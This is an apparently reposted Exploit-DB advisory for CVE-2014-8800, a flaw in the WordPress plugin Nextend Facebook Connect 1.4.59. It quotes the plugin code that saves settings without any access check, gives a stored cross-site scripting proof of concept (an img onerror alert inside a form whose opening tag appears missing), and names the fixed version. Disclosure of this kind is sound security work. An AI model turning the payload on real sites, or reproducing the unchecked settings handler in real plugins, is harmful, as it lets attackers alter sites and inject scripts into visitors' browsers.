WordPress Plugin Nextend Facebook Connect 1.4.59 – Cross-Site Scripting - 体验盒子

作者： Kacper Szurek

日期： 2014-12-02

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/35439/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

# Exploit Title: Nextend Facebook Connect 1.4.59 XSS

# Date: 16-10-2014

# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek

# Software Link: https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.4.59.zip

# Category: webapps

# CVE: CVE-2014-8800

1. Description

Anyone can change plugin settings.

File: nextend-facebook-connect\nextend-facebook-settings.php

if(isset($_POST['newfb_update_options'])) {

if($_POST['newfb_update_options'] == 'Y') {

foreach($_POST AS $k => $v){

$_POST[$k] = stripslashes($v);

}

update_option("nextend_fb_connect", maybe_serialize($_POST));

$newfb_status = 'update_success';

}

http://security.szurek.pl/nextend-facebook-connect-1459-xss.html

2. Proof of Concept

XSS: <textarea name="fb_login_button" rows="10" cols="40"><img src=x onerror=alert(String.fromCharCode(88,83,83))></textarea>

</form>

3. Solution:

Update to version 1.5.1

https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.5.1.zip

https://wordpress.org/plugins/nextend-facebook-connect/changelog/